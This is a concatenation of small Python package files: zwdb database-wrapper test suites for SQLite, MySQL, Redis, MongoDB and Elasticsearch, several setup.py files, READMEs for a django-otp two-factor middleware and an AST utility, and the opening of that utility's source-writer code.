db.insert(tbl, recs=RECS_INIT) assert r == len(RECS_INIT) def test_count(db): tbl = TBLS[0] c = db.count(tbl, none=None) assert c == len(RECS_INIT) def test_find(db): tbl = TBLS[0] rs = db.find(tbl, none=None) assert rs.pending recs = rs.all() assert len(recs) == db.count(tbl, none=None) recs = db.find(tbl, clause={'ORDER BY num': 'DESC'}, fetchall=True) assert len(recs) == db.count(tbl) and recs[0].num == 3.0 recs = db.find(tbl, none=None, txt={'like': 'txt%'}, num={'<>': 2}, fetchall=True) assert len(recs) == 1 and recs[0].txt == 'txt1' recs = db.find(tbl, num={'range': (1, 3)}, fetchall=True) assert len(recs) == 2 recs = db.find(tbl, num={'or': (2, 3)}, fetchall=True) assert len(recs) == 2 def test_findone(db): tbl = TBLS[0] r = db.findone(tbl, clause={'ORDER BY num': 'DESC'}, num={'>': 1}) assert r.txt == '3txt' def test_update(db): tbl = TBLS[0] recs = [ {'id':1, 'txt': '1txt', 'num': 1.5 }, ] c = db.update(tbl, recs, keyflds=['id']) r = db.findone(tbl, id=1) assert c == 1 and r.txt == '1txt' and r.num == 1.5 def test_upsert(db): tbl = TBLS[0] recs = [ {'id':1, 'txt': 'txt1', 'num': 1 }, {'id':4, 'txt': 'txt4', 'num': 4 }, {'id':5, 'txt': 'txt5', 'num': 5 }, ] ic, uc = db.upsert(tbl, recs, keyflds=['id']) r = db.findone(tbl, id=1) assert ic == 2 and uc == 1 and r.txt == 'txt1' and r.num == 1 def test_delete(db): tbl = TBLS[0] recs = [ {'id':4, 'txt': 'txt4', 'num': 4 }, ] c0 = db.count(tbl) r1 = db.delete(tbl, recs, keyflds=['id']) c1 = db.count(tbl) r2 = db.delete(tbl, dt=None) c2 = db.count(tbl) assert c1 == c0-1 and c2 == c0-2 and r1 == 1 and r1 == r2 def test_select(db): rs = db.select('SELECT txt FROM tbl WHERE id=1') assert len(rs) == 1 and rs[0].txt == 'txt1' and not hasattr(rs[0], 'num') def test_exec_script(db): db.exec_script(SQL_PTH) assert len(db.lists()) == len(TBLS)
zwdb
/zwdb-0.0.52-py3-none-any.whl/tests/test_sqlite.py
test_sqlite.py
# -*- coding: utf-8 -*- # pylint: disable=redefined-outer-name import pytest import datetime from zwdb.zwmysql import ZWMysql DB_URL = 'mysql://tester:test@localhost/testdb' TBLS = ['tbl', 'tbl_create'] RECS_INIT = [ {'id': 1, 'txt': 'abc', 'num': 1, 'none': None, 'dt': datetime.datetime.now()}, {'id': 2, 'txt': 'def', 'num': 2, 'none': None, 'dt': datetime.datetime.now()-datetime.timedelta(days=1)}, {'id': 3, 'txt': 'ghi', 'num': 3, 'none': None, 'dt': datetime.datetime.now()-datetime.timedelta(days=2)}, ] RECS_INSERT = [ {'txt': 'aaa', 'num': 10, 'none': None}, {'txt': 'aaa', 'num': 11, 'none': None}, ] RECS_UPDATE = [ {'txt': 'XXX', 'num': 10, 'none': None}, ] RECS_UPSERT = [ {'txt': 'aaa', 'num': 10, 'none': None}, {'txt': 'ccc', 'num': 12, 'none': None}, ] @pytest.fixture(scope='module') def db(): with ZWMysql(DB_URL) as dbobj: # clean with dbobj.get_connection() as conn: for t in TBLS: conn.execute('DROP TABLE IF EXISTS %s'%t, commit=True) with dbobj.get_connection() as conn: sql = 'CREATE TABLE `%s` ( \ `id` int(11) NOT NULL AUTO_INCREMENT, \ `txt` varchar(45) DEFAULT NULL, \ `num` FLOAT NULL,\ `none` VARCHAR(45) NULL,\ `dt` DATETIME NULL,\ PRIMARY KEY (`id`) \ ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4;' % TBLS[0] sqls = [sql] for t in sqls: conn.execute(t, commit=True) ks = RECS_INIT[0].keys() fs = ','.join(ks) vs = ','.join(['%({})s'.format(s) for s in ks]) stmt = 'INSERT INTO {} ({}) VALUES({})'.format(TBLS[0], fs, vs) conn.executemany(stmt, fetchall=False, commit=True, paramslist=RECS_INIT) dbobj._debug = True yield dbobj # clean with dbobj.get_connection() as conn: for t in TBLS: conn.execute('DROP TABLE IF EXISTS %s'%t, commit=True) def test_info(db): tbls = db.lists() dbver = db.version dbsiz = db.pool_size assert len(tbls) == 1 and len(dbver.split('.')) == 3 and dbsiz == db.dbcfg['pool_size'] def test_find(db): tbl = TBLS[0] rs = db.find(tbl) assert rs.pending is True recs = list(rs) assert rs.pending is False and recs[0].txt == RECS_INIT[0]['txt'] and len(recs) == len(RECS_INIT) recs = db.find(tbl).all() assert recs[0].txt == RECS_INIT[0]['txt'] and len(recs) == len(RECS_INIT) recs = [r for r in db.find(tbl)] assert recs[0].txt == RECS_INIT[0]['txt'] and len(recs) == len(RECS_INIT) rs = db.find(tbl, fetchall=True) assert rs.pending is False and len(recs) == len(RECS_INIT) rs = db.find(tbl, fetchall=True, id=1, txt='abc') assert len(rs) == 1 rs = db.find(tbl, clause={'order by':'num desc', 'limit':2}, none=None, fetchall=True) assert len(rs) == 2 and rs[0].id == 3 rs = db.find(tbl, txt={'like': r'%b%'}, fetchall=True) assert len(rs) == 1 and rs[0].id == 1 rs = db.find(tbl, num={'<>': 1}, fetchall=True) assert len(rs) == 2 rs = db.find(tbl, id={'or': [1, 2]}, fetchall=True) assert len(rs) == 2 rs = db.find(tbl, num={'range': [2, 4]}, fetchall=True) assert len(rs) == 2 def test_insert(db): tbl = TBLS[0] c = db.insert(tbl, RECS_INSERT) assert c == len(RECS_INSERT) def test_update(db): tbl = TBLS[0] c = db.update(tbl, RECS_UPDATE, keyflds=['num', {'none': None}]) r = db.findone(tbl, txt='XXX') assert c == 1 and r is not None def test_upsert(db): tbl = TBLS[0] insert_count, update_count = db.upsert(tbl, RECS_UPSERT, keyflds=['num', {'none': None}]) total_count = db.count(tbl, none=None) r = db.findone(tbl, txt='XXX') assert insert_count == 1 and update_count == 1 and total_count == 6 and r is None def test_delete(db): tbl = TBLS[0] a = db.delete(tbl, recs=None, keyflds=None) b = db.delete(tbl, recs=[], keyflds=[]) c = db.delete(tbl, recs=None, keyflds=[]) d = db.delete(tbl, recs=[], keyflds=None) r1 = db.delete(tbl, num=12) r2 = db.delete(tbl, recs=RECS_INSERT, keyflds=['txt', 'num']) assert all(o == 0 for o in [a, b, c, d]) and r1 == 1 and r2 == 2 and db.count(tbl) == len(RECS_INIT) def test_exists(db): tbl = TBLS[0] a = db.exists(tbl, rec=None, keyflds=None) b = db.exists(tbl, rec=[], keyflds=[]) c = db.exists(tbl, rec=None, keyflds=[]) d = db.exists(tbl, rec=[], keyflds=None) r1 = db.exists(tbl, num=1) r2 = db.exists(tbl, rec=RECS_INIT[0], keyflds=['txt', 'num']) assert all(o is False for o in [a, b, c, d]) and r1 is True and r2 is True @pytest.mark.parametrize( 'stmt, params', ( ('select * from '+TBLS[0]+' where txt=%(txt)s', {'txt': 'abc'}), ) ) def test_select(db, stmt, params): r = db.select(stmt, **params) assert r and len(r) == 1 def test_execscript(db): db.exec_script('data/tbl_create.sql') with db.get_connection() as conn: rs = conn.execute("show tables like 'tbl_create';", fetchall=True) assert len(rs) == 1 def test_transaction(db): tbl = TBLS[0] with db.transaction() as conn: conn.insert(tbl, RECS_INSERT[:1]) conn.insert(tbl, RECS_INSERT[1:]) with ZWMysql(DB_URL) as o: c = o.count(tbl) assert c == len(RECS_INIT) c = db.count(tbl) assert c == len(RECS_INIT)+len(RECS_INSERT)
zwdb
/zwdb-0.0.52-py3-none-any.whl/tests/test_mysql.py
test_mysql.py
# -*- coding: utf-8 -*- import pytest import os import sys TEST_DIR = os.path.abspath(os.path.dirname(__file__)) PARENT_DIR = os.path.join(TEST_DIR, '..') sys.path.insert(0, PARENT_DIR) from zwdb import utils @pytest.mark.parametrize( 'db_url, result', ( ('mysql://tester:test@localhost', True), ('mysql://tester:test@localhost/testdb', True), ('mysql://tester:test@localhost:3306/testdb?useUnicode=true&characterEncoding=UTF-8', True), ) ) def test_db_url_parser(db_url, result): rtn = utils.db_url_parser(db_url) assert (rtn is not None) == result
zwdb
/zwdb-0.0.52-py3-none-any.whl/tests/test_utils.py
test_utils.py
# -*- coding: utf-8 -*- import pytest import os import sys from datetime import datetime from zwdb.zwredis import ZWRedis @pytest.fixture(scope='module') def db(): db_url = 'redis://:111111@localhost:6379/0' with ZWRedis(db_url) as db: yield db class TestRedis: def test_set(self, db): db.set('a', 1) db.set('b', 'b') db.set('hm', {'a':1, 'b':'b'}) db.set('lt', [1, 'b', 1.1]) db.set('st', {1,2,3}) assert db.dbsize() == 5 def test_get(self, db): a = db.get('a') b = db.get('b') c = db.get('hm') d = db.get('lt') e = db.get('st') t = db.get('a', data_type='string') assert a == '1' and b == 'b' and c['a'] == '1' and d[0] == '1' and len(e) == 3 and t == '1' def test_append(self, db): db.append('a', 'aaa') db.append('b', 'bbb') db.append('hm', {'c':'c'}) db.append('lt', ['c', 'd']) db.append('st', {6,7}) assert db.get('a')=='1aaa' and db.get('b')== 'bbbb' and \ db.get('hm')['c']=='c' and db.get('lt')[4]=='d' and len(db.get('st'))==5 def test_contains(self, db): r0 = db.contains('a', 'a') r1 = db.contains('b', 'b') r2 = db.contains('hm', 'c') r3 = db.contains('lt', 'd') r4 = db.contains('st', 7) assert r0 and r1 and r2 and r3 and r4 def test_setby(self, db): db.setby('hm', 'c', 'cc') db.setby('lt', 0, 'A') assert db.get('hm')['c']=='cc' and db.get('lt')[0]=='A' def test_getby(self, db): r0 = db.getby('hm', 'c') r1 = db.getby('lt', 0) assert r0=='cc' and r1=='A' def test_delby(self, db): db.delby('hm', ['c', 'b']) db.delby('lt', [3, 4]) db.delby('st', ['6', '7']) assert db.getby('hm', 'c') is None and db.getby('lt', 3) is None and len(db.get('st'))==3 def test_all(self, db): arr = db.all() trr = [] def cbf(k): trr.append(k) db.all_iter(cbfunc=cbf) assert len(arr) == len(trr) def test_len(self, db): db.set('strlen', 'abc') db.set('hmlen', {'a':1, 'b':2, 'c': 3, 'd':4}) db.set('listlen', ['a', 'b', 'c', 'd', 'e']) db.set('setlen', {'a', 'b', 'c', 'd', 'e', 'f'}) r0 = db.len('strlen') r1 = db.len('hmlen') r2 = db.len('listlen') r3 = db.len('setlen') assert r0 == 3 and r1 == 4 and r2 == 5 and r3 == 6
zwdb
/zwdb-0.0.52-py3-none-any.whl/tests/test_redis.py
test_redis.py
# -*- coding: utf-8 -*- # pylint: disable=redefined-outer-name import pytest import datetime from zwdb.zwmongo import ZWMongo DB_URL = 'mongo://tester:test@localhost/testdb' COLLS = ['col', 'col_leftjoin'] RECS_INIT = [ {'id': 1, 'txt': 'abc', 'num': 1, 'none': None, 'dt': datetime.datetime.now()}, {'id': 2, 'txt': 'def', 'num': 2, 'none': None, 'dt': datetime.datetime.now()-datetime.timedelta(days=1)}, {'id': 3, 'txt': 'ghi', 'num': 3, 'none': None, 'dt': datetime.datetime.now()-datetime.timedelta(days=2)}, ] RECS_INSERT = [ {'txt': 'aaa', 'num': 10, 'none': None}, {'txt': 'aaa', 'num': 11, 'none': None}, ] RECS_UPDATE = [ {'txt': 'XXX', 'num': 10, 'none': None}, ] RECS_UPSERT = [ {'txt': 'aaa', 'num': 10, 'none': None}, {'txt': 'ccc', 'num': 12, 'none': None}, ] @pytest.fixture(scope='module') def db(): with ZWMongo(DB_URL, maxPoolSize=50) as mydb: # clean for coll in COLLS: mydb.drop_collection(coll) mydb.insert('col', RECS_INIT) yield mydb # clean for coll in COLLS: mydb.drop_collection(coll) def test_info(db): colls = db.lists() dbver = db.version dbsiz = db.pool_size dbinf = db.info assert len(colls) == 1 and len(dbver.split('.')) == 3 and dbsiz == db.dbcfg['maxPoolSize'] and dbinf def test_find(db): coll = COLLS[0] rs = db.find(coll) assert rs.pending is True recs = list(rs) assert rs.pending is False and recs[0].txt == RECS_INIT[2]['txt'] and len(recs) == len(RECS_INIT) recs = db.find(coll).all() assert recs[0].txt == RECS_INIT[2]['txt'] and len(recs) == len(RECS_INIT) recs = [r for r in db.find(coll)] assert recs[0].txt == RECS_INIT[2]['txt'] and len(recs) == len(RECS_INIT) rs = db.find(coll, fetchall=True) assert rs.pending is False and len(rs) == len(RECS_INIT) rs = db.find(coll, conds={'id':1, 'txt':'abc'}, fetchall=True) assert len(rs) == 1 rs = db.find(coll, conds={'none': None}, sort=[('num', -1)], limit=2, fetchall=True) assert len(rs) == 2 and rs[0].id == 3 r = db.findone(coll, conds={'id': 1}) r1 = db.findone(coll, conds={'_id': r['_id']}) r2 = db.findone(coll, conds={'_id': str(r['_id'])}) assert r and r1 and r2 and r.id == r1.id and r.id == r2.id def test_insert(db): coll = COLLS[0] c = db.insert(coll, RECS_INSERT) assert c == len(RECS_INSERT) def test_update(db): coll = COLLS[0] c = db.update(coll, RECS_UPDATE, keyflds=['num', 'none']) r = db.findone(coll, conds={'txt': 'XXX'}) assert c == 1 and r.num == 10 def test_upsert(db): coll = COLLS[0] insert_count, update_count = db.upsert(coll, RECS_UPSERT, keyflds=['num', 'none']) total_count = db.count(coll, conds={'none': None}) r = db.findone(coll, conds={'txt': 'XXX'}) assert insert_count == 1 and update_count == 1 and total_count == 6 and r is None def test_delete(db): coll = COLLS[0] a = db.delete(coll, recs=None, keyflds=None) b = db.delete(coll, recs=[], keyflds=[]) c = db.delete(coll, recs=None, keyflds=[]) d = db.delete(coll, recs=[], keyflds=None) r1 = db.delete(coll, conds={'num': 12}) r2 = db.delete(coll, recs=RECS_INSERT, keyflds=['txt', 'num']) assert all(o == 0 for o in [a, b, c, d]) and r1 == 1 and r2 == 2 and db.count(coll) == len(RECS_INIT) def test_exists(db): coll = COLLS[0] a = db.exists(coll, rec=None, keyflds=None) b = db.exists(coll, rec=[], keyflds=[]) c = db.exists(coll, rec=None, keyflds=[]) d = db.exists(coll, rec=[], keyflds=None) r1 = db.exists(coll, conds={'num': 1}) r2 = db.exists(coll, rec=RECS_INIT[0], keyflds=['txt', 'num']) assert all(o is False for o in [a, b, c, d]) and r1 is True and r2 is True def test_groupby(db): coll = COLLS[0] recs = db.groupby(coll, 'none', sort={'count': -1}) assert len(recs) == 1 and recs[0]['count'] == len(RECS_INIT) def test_leftjoin(db): coll = COLLS[0] coll_right = COLLS[1] recs = [{'id': 'lj01', 'txt': 'lj01'},{'id': 'lj02', 'txt': 'lj02'}] recs_rignt = [{'id': 'lj01', 'num': 999},{'id': 'lj02', 'num': 666}] db.insert(coll, recs) db.insert(coll_right, recs_rignt) r = db.leftjoin(coll, coll_right, fld='id', fld_right='id', nameas='rec', match={'id': 'lj01'}, fetchall=True, project={'_id':0}) assert len(r)==1 and r[0].rec[0]['num'] == 999 db.delete(coll, recs, keyflds=['id']) db.delete(coll_right, recs_rignt, keyflds=['id'])
zwdb
/zwdb-0.0.52-py3-none-any.whl/tests/test_mongo.py
test_mongo.py
# -*- coding: utf-8 -*- # pylint: disable=redefined-outer-name import pytest import datetime from zwdb.zwelastic import ZWElastic DB_URL = 'es://elastic:[email protected]:9200/' INDEX_NM = 'test-idxa' INDICES = { 'test-idxa': { 'settings':{ 'refresh_interval': '1s', 'number_of_shards': 1, 'number_of_replicas': 1, 'analysis': { 'analyzer':{ 'ik_analyzer': { 'tokenizer':'ik_smart' }, 'pinyin_analyzer': { 'tokenizer':'my_pinyin' } }, 'tokenizer': { 'my_pinyin': { 'type' : 'pinyin', 'keep_first_letter': True, # 刘德华>ldh, default: true 'keep_separate_first_letter': False, # 刘德华>l,d,h, default: false 'limit_first_letter_length': 16, # max length of the first_letter result, default: 16 'keep_full_pinyin': True, # 刘德华> [liu,de,hua], default: true 'keep_joined_full_pinyin': False, # 刘德华> [liudehua], default: false 'keep_none_chinese': True, # keep non chinese letter or number in result, default: true 'keep_none_chinese_together': True, # True: DJ音乐家 -> DJ,yin,yue,jia False: DJ音乐家 -> D,J,yin,yue,jia 'keep_none_chinese_in_first_letter': True, # 刘德华AT2016->ldhat2016, default: true 'keep_none_chinese_in_joined_full_pinyin': False, # 刘德华2016->liudehua2016, default: false 'none_chinese_pinyin_tokenize': True, # liudehuaalibaba13zhuanghan -> liu,de,hua,a,li,ba,ba,13,zhuang,han, default: true 'keep_original': False, # keep original input as well, default: false 'lowercase': True, # lowercase non Chinese letters, default: true 'trim_whitespace': True, # default: true 'remove_duplicated_term': False, # de的>de, default: false 'ignore_pinyin_offset': True, # if you need offset, please set it to false. default: true } } }, }, 'mappings': { 'properties': { 'id': { 'type': 'integer', 'index': False, }, 'title': { 'type': 'text', 'analyzer': 'ik_analyzer', }, 'tags': { 'type': 'text', 'analyzer': 'keyword', 'fields': { 'pinyin': { 'type': 'text', 'analyzer': 'pinyin_analyzer', } } }, 'num': { 'type': 'integer', 'index': False, }, 'none': { 'type': 'object', }, 'receive_time': { 'type': 'date', 'format': "yyyy-MM-dd'T'HH:mm:ss.SSSSSS" } } } } } RECS_INIT = [ {'id': 1, 'title': '测试照地球南博万。。。', 'tags':['南京', '北京', '上海', '深圳'], 'num': 1, 'none': None, 'receive_time': datetime.datetime.now()}, ] @pytest.fixture(scope='module') def db(): with ZWElastic(DB_URL) as mydb: for k, v in INDICES.items(): mydb.delete(index=k) mydb.create_index(k, v['settings'], v['mappings']) mydb.insert(INDEX_NM, RECS_INIT, refresh=True) yield mydb for k, v in INDICES.items(): mydb.delete(index=k) def test_version(db): s = db.version print(s) assert len(s.split('.')) == 3 def test_info(db): o = db.info print(o) assert len(o['cluster_name'])>0 def test_count(db): assert db.count(INDEX_NM) == len(RECS_INIT) def test_exists(db): assert db.exists(INDEX_NM) assert not db.exists('NOT_EXIST_INDEX') assert db.exists(INDEX_NM, docid=1) assert not db.exists(INDEX_NM, docid=2) def test_findone(db): ri = db.findone(INDEX_NM) rd = db.findone(INDEX_NM, docid=1) assert ri['settings'] and rd['id'] == 1 ri = db.findone('NOT_EXIST_INDEX') rd = db.findone(INDEX_NM, docid=2) assert (not ri) and (not rd) def test_insert(db): r = db.insert(INDEX_NM, {'id': 2, 'title': '测试照地球南博万。。。', 'tags':['南京', '北京'], 'num': 1, 'none': None, 'receive_time': datetime.datetime.now()-datetime.timedelta(days=1)}) assert r r = db.insert(INDEX_NM, {'id': 2}) assert not r def test_update(db): title = '测试照地球南博万。。刘德华' r = db.update(INDEX_NM, docs={'id': 2, 'title': title}, refresh=True) o = db.findone(INDEX_NM, docid=2) assert r and o['title'] == title r = db.update(INDEX_NM, docs={'id': 999, 'title': title}) assert not r script = { 'source': 'ctx._source.num += params.num', 'lang': 'painless', 'params' : { 'num' : 2 } } r = db.update(INDEX_NM, docids=2, script=script, refresh=True) o = db.findone(INDEX_NM, docid=2) assert r and o['num'] == 1+2 def test_upsert(db): title = '测试照地球南博万。。刘德华。。林志玲' r = db.upsert(INDEX_NM, docs={'id': 2, 'title': title}, refresh=True) o = db.findone(INDEX_NM, docid=2) assert r and o['title'] == title r = db.upsert(INDEX_NM, docs={'id': 3, 'title': title, 'tags':['南京'], 'num': 1}, refresh=True) o = db.findone(INDEX_NM, docid=3) assert r and o['title'] == title def test_find(db): # 分页 r = db.find(INDEX_NM, query={ 'match': { 'num': 1 } }, sort=[{ 'receive_time': { 'order': 'desc' }, 'id': { 'order': 'desc' }, '_score': { 'order': 'desc' } }], from_=0, size=1) rec = r['docs'][0] assert len(r['docs']) == 1 and rec['id'] == 1 r = db.find(INDEX_NM, query={ 'match': { 'num': 1 } }, sort=[{ 'receive_time': { 'order': 'desc' }, 'id': { 'order': 'desc' }, '_score': { 'order': 'desc' } }], from_=0, size=1, search_after=r['last']) rec = r['docs'][0] assert len(r['docs']) == 1 and rec['id'] == 3 # 分词 r = db.find(INDEX_NM, query={ 'match': { 'title': '照地球' } }) assert r['total'] == 0 r = db.find(INDEX_NM, query={ 'match': { 'title': '照地球南博万' } }) assert r['total'] == 3 # 拼音 r = db.find(INDEX_NM, query={ 'match': { 'tags.pinyin': 'shanghai' } }) assert r['total'] == 1 # 高亮 r = db.find(INDEX_NM, query={ 'match': { 'title': '照地球南博万' } }, highlight={ 'fields': { 'title': {} } }) assert r['total'] == 3 and '_highlight' in r['docs'][0] rs = db.find('rpt-idx', query={ 'match_all': {} }, sort=[{ '_score': { 'order': 'desc' }, '_id': { 'order': 'desc' }, }], highlight={ 'fields': { 'text': {} } }, _source={ 'excludes': ['text'] }, from_=0, size=10) a = 0
zwdb
/zwdb-0.0.52-py3-none-any.whl/tests/test_elastic.py
test_elastic.py
''' Created on Jun 20, 2015 @author: root ''' from distutils.core import setup from setuptools import setup, find_packages setup( name = 'zwdlib', version = '0.0.3', keywords = ('common', 'tools'), description = 'most common used tools', license = 'MIT License', author = 'winston', author_email = '[email protected]', packages = find_packages(), platforms = 'any', )
zwdlib
/zwdlib-0.0.3.tar.gz/zwdlib-0.0.3/setup.py
setup.py
# -*- coding: utf-8 -*- import json import sys import getopt from setuptools import setup import time import datetime now = datetime.datetime.now() version = str(now) version = version.replace("-",".").replace(":",".").replace(" ",".")[0:16] setup( name='zwdq',# 需要打包的名字,即本模块要发布的名字 version = version ,# 版本 description='个人接口', # 简要描述 py_modules=['zwdq'], # 需要打包的模块 packages=['zwdq'], package_dir={'zwdq': 'src/zwdq'}, author='zwdq', # 作者名 author_email='[email protected]', # 作者邮件 requires=['numpy', 'pandas'], # 依赖包,如果没有,可以不要 )
zwdq
/zwdq-2021.7.24.14.19.tar.gz/zwdq-2021.7.24.14.19/setup.py
setup.py
#coding:utf-8 from setuptools import setup, find_packages setup( name='zweb', version="0.4309", description="A web site framework", author="zuroc 张沈鹏", author_email="[email protected]", packages = ['zweb'], zip_safe=False, include_package_data=True, install_requires = [ 'zorm>=0.03', 'tornado>=2.3', 'mako', 'clint', 'cherrypy>=3.2.2', 'weberror>=0.10.3', 'envoy', 'supervisor', ], entry_points = { 'console_scripts': [ 'zweb=zweb.script:main', ], }, )
zweb
/zweb-0.4309.tar.gz/zweb-0.4309/setup.py
setup.py
python student ETL job python3 -m build --wheel
zwedu-student-etl
/zwedu-student-etl-1.0.0.tar.gz/zwedu-student-etl-1.0.0/README.md
README.md
# Always prefer setuptools over distutils from setuptools import setup, find_packages import pathlib here = pathlib.Path(__file__).parent.resolve() # Get the long description from the README file long_description = (here / 'README.md').read_text(encoding='utf-8') # Arguments marked as "Required" below must be included for upload to PyPI. # Fields marked as "Optional" may be commented out. setup( name='zwedu-student-etl', # Required version='1.0.0', # Required # This is a one-line description or tagline of what your project does. This # corresponds to the "Summary" metadata field: # https://packaging.python.org/specifications/core-metadata/#summary description='zunwen education student etl job', # Optional long_description=long_description, # Optional long_description_content_type='text/markdown', # Optional (see note above) url='https://github.com/zunwen-education/student-etl', # Optional # This should be your name or the name of the organization which owns the # project. author='ericw', # Optional # This should be a valid email address corresponding to the author listed # above. author_email='[email protected]', # Optional # Classifiers help users find your project by categorizing it. # # For a list of valid classifiers, see https://pypi.org/classifiers/ classifiers=[ # Optional # How mature is this project? Common values are # 3 - Alpha # 4 - Beta # 5 - Production/Stable 'Development Status :: 3 - Alpha', # Indicate who your project is intended for 'Intended Audience :: Developers', 'Topic :: Software Development', # Pick your license as you wish 'License :: OSI Approved :: MIT License', # Specify the Python versions you support here. In particular, ensure # that you indicate you support Python 3. These classifiers are *not* # checked by 'pip install'. See instead 'python_requires' below. 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Programming Language :: Python :: 3 :: Only', ], keywords='student, etl, development', # Optional # When your source code is in a subdirectory under the project root, e.g. # `src/`, it is necessary to specify the `package_dir` argument. package_dir={'': 'src'}, # Optional packages=find_packages(where='src'), # Required python_requires='>=3.6, <4', install_requires=['peppercorn'], # Optional extras_require={ # Optional 'dev': ['check-manifest'], 'test': ['coverage'], }, # To provide executable scripts, use entry points in preference to the # "scripts" keyword. Entry points provide cross-platform support and allow # `pip` to create the appropriate form of executable for the target # platform. # # For example, the following would provide a command called `sample` which # executes the function `main` from this package when invoked: entry_points={ # Optional 'console_scripts': [ 'sample=sample:main', ], }, project_urls={ # Optional 'Bug Reports': 'https://github.com/pypa/sampleproject/issues', 'Funding': 'https://donate.pypi.org', 'Say Thanks!': 'http://saythanks.io/to/example', 'Source': 'https://github.com/pypa/sampleproject/', }, )
zwedu-student-etl
/zwedu-student-etl-1.0.0.tar.gz/zwedu-student-etl-1.0.0/setup.py
setup.py
Zweifach ======== Zweifach (german for "two times") is an app to make integration of django-otp a bit more biased. Integration of two factor auth is enforced by a middleware which will ensure two things: - make sure a user who is required to enable 2FA for its account will be redirected to the setup-view until setup is done. - make sure a user who has 2FA enabled will be redirected to verify-view for token input after login until verified. Quickstart ---------- - Install packages by running 'pip install zweifach django-otp qrcode' - Add 'zweifach' to INSTALLED_APPS. - Add 'zweifach.middleware.ZweifachMiddleware' to MIDDLEWARE, *after* AuthenticationMiddleware. - Inlcude 'zweifach.urls' somewhere in your url-config. - Configure django-otp as described further down below Settings -------- settings.ZWEIFACH_AUTH_REQUIRED default: [] A list of checks which determine, if a user needs 2FA to use its account. examaple:: ZWEIFACH_AUTH_REQUIRED = [ lambda user: user.is_staff, # all staff unsers must use two factor auth lambda user: '2fa' in user.groups.values_list("name", flat=True), # all users in group '2fa' must use two factor auth ] settings.ZWEIFACH_URL_EXCLUDES default: [] A list of url which are always accessible without 2FA. Verify and Setup views are always excluded as well as settings.LOGIN_URL and the admin login view, if admin is enabled. example:: ZWEIFACH_URL_EXCLUDES = [ '/imprint/', '/faq/how-to-setup-2fa/', ] Note: If a url is accessible without login, it can of course still be viewed without any 2FA interaction. Notes about django-otp configuration ------------------------------------ A compatible installation of django-otp should be setup as follows: Add to INSTALLED_APPS:: 'django_otp', 'django_otp.plugins.otp_totp', 'django_otp.plugins.otp_static', Add to MIDDLEWARE (between AuthenticationMiddleware and ZweifachMiddleware):: 'django_otp.middleware.OTPMiddleware' Configure issuer:: OTP_TOTP_ISSUER = 'MyProject' Usage ----- To generate static recovery tokens (also useful for first login on freshly installed systems) use:: ./manage.py addstatictoken <username> Development ----------- Ensure basic code style with:: tox Build package with:: python3 -m build Upload package to PyPI:: python3 -m twine upload dist/zweifach-x.x.x*
zweifach
/zweifach-1.0.3.tar.gz/zweifach-1.0.3/README.rst
README.rst
Zweig ===== .. image:: https://travis-ci.org/DasIch/zweig.png?branch=master :target: https://travis-ci.org/DasIch/zweig Zweig provides several utilities for dealing with the `ast` module. It's BSD licensed and tested under Python 2.7 and 3.3. Take a look at the documentation_ for more information. .. _documentation: https://zweig.readthedocs.org/en/latest/
zweig
/zweig-0.1.0.tar.gz/zweig-0.1.0/README.rst
README.rst
# coding: utf-8 """ setup ~~~~~ :copyright: 2014 by Daniel Neuhäuser :license: BSD, see LICENSE.rst for details """ from __future__ import unicode_literals from setuptools import setup from codecs import open from zweig import __version__ setup( name='zweig', version=__version__, url='https://github.com/DasIch/zweig', author='Daniel Neuhäuser', author_email='[email protected]', description='Utilities for dealing with the ast module', long_description=open('README.rst', 'r', encoding='utf-8').read(), py_modules=['zweig'] )
zweig
/zweig-0.1.0.tar.gz/zweig-0.1.0/setup.py
setup.py
# coding: utf-8 """ zweig ~~~~~ :copyright: 2014 by Daniel Neuhäuser :license: BSD, see LICENSE.rst for details """ from __future__ import unicode_literals import os import sys import ast from io import StringIO from contextlib import contextmanager from itertools import chain from functools import reduce __version__ = '0.1.0' __version_info__ = (0, 1, 0) PY2 = sys.version_info[0] == 2 def walk_preorder(tree): """ Yields the nodes in the `tree` in preorder. """ yield tree for child in ast.iter_child_nodes(tree): for descendent in walk_preorder(child): yield descendent def to_source(tree): """ Returns the Python source code representation of the `tree`. """ writer = _SourceWriter() writer.visit(tree) return writer.output.getvalue() class _SourceWriter(ast.NodeVisitor): def __init__(self): self.output = StringIO() self.indentation_level = 0 self.newline = True @contextmanager def indented(self): self.indentation_level += 1 try: yield finally: self.indentation_level -= 1 def write(self, source): if self.newline: self.newline = False self.write_indentation() self.output.write(source) def write_indentation(self): self.write(' ' * self.indentation_level) def write_newline(self): if self.newline: self.newline = False self.write('\n') self.newline = True def write_line(self, source): self.write(source) self.write_newline() def write_identifier(self, identifier): if PY2: self.write(identifier.decode('ascii')) else: self.write(identifier) def write_repr(self, obj): if PY2: self.write(repr(obj).decode('ascii')) else: self.write(repr(obj)) def writing_comma_separated(self, items): if items: for item in items[:-1]: yield item self.write(', ') yield items[-1] def write_comma_separated_nodes(self, nodes): for node in self.writing_comma_separated(nodes): self.visit(node) @contextmanager def writing_statement(self): yield self.write_newline() def visit_statements(self, statements): for statement in statements[:-1]: self.visit(statement) if isinstance(statement, (ast.FunctionDef, ast.ClassDef)): self.write_newline() self.visit(statements[-1]) def visit_Module(self, node): self.visit_statements(node.body) def visit_FunctionDef(self, node): for decorator in node.decorator_list: self.write('@') self.visit(decorator) self.write_newline() self.write('def ') self.write_identifier(node.name) self.write('(') self.visit(node.args) self.write(')') if not PY2 and node.returns is not None: self.write(' -> ') self.visit(node.returns) self.write(':') self.write_newline() with self.indented(): self.visit_statements(node.body) def visit_ClassDef(self, node): for decorator in node.decorator_list: self.write('@') self.visit(decorator) self.write_newline() self.write('class ') self.write_identifier(node.name) if ( node.bases or (not PY2 and (node.keywords or node.starargs or node.kwargs)) ): self.write('(') self.write_comma_separated_nodes(node.bases) if not PY2: if node.keywords: if node.bases: self.write(', ') self.write_comma_separated_nodes(node.keywords) if node.starargs is not None: if node.bases or node.keywords: self.write(', ') self.write('*') self.visit(node.starargs) if node.kwargs is not None: if node.bases or node.keywords or node.starargs: self.write(', ') self.write('**') self.visit(node.kwargs) self.write(')') self.write(':') self.write_newline() with self.indented(): self.visit_statements(node.body) def visit_Return(self, node): with self.writing_statement(): self.write('return') if node.value: self.write(' ') self.visit(node.value) def visit_Delete(self, node): with self.writing_statement(): 